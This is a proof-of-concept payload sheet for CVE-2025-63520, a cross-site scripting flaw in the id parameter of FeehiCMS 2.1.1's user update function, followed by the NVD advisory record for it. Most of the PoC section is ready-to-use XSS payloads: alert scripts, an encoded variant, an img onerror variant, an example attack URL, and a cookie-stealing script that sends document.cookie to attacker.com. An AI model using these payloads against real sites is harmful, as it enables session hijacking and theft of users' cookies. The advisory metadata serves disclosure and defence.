CVE-2025-63520

<!-- CVE-2025-63520 PoC - FeehiCMS 2.1.1 XSS via id parameter --> <!-- Target: FeehiCMS 2.1.1 User Update Function --> <!-- URL: ?r=user%2Fupdate&id=<payload> --> <!-- Basic XSS Payload --> <script>alert(document.cookie)</script> <!-- Cookie Stealing Payload --> <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> <!-- Example Attack URL --> <!-- https://target.com/?r=user%2Fupdate&id=%3Cscript%3Ealert(document.cookie)%3C/script%3E --> <!-- HTML Entity Encoded Variant --> &#x3C;script&#x3E;alert(document.cookie)&#x3C;/script&#x3E; <!-- Image Tag Event Handler Variant --> <img src=x onerror=alert(document.domain)>

{"cve": {"id": "CVE-2025-63520", "sourceIdentifier": "[email protected]", "published": "2025-12-01T15:15:50.713", "lastModified": "2025-12-02T03:06:59.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross Site Scripting (XSS) vulnerability in FeehiCMS 2.1.1 via the id parameter of the User Update function (?r=user%2Fupdate)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:feehi:feehicms:2.1.1:*:*:*:*:*:*:*", "matchCriteriaId": "DBEE4749-21CC-4336-8565-A05BC680EDF2"}]}]}], "references": [{"url": "https://github.com/kiwi865/CVEs/blob/main/CVE-2025-63520.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/liufee/cms/issues/74", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}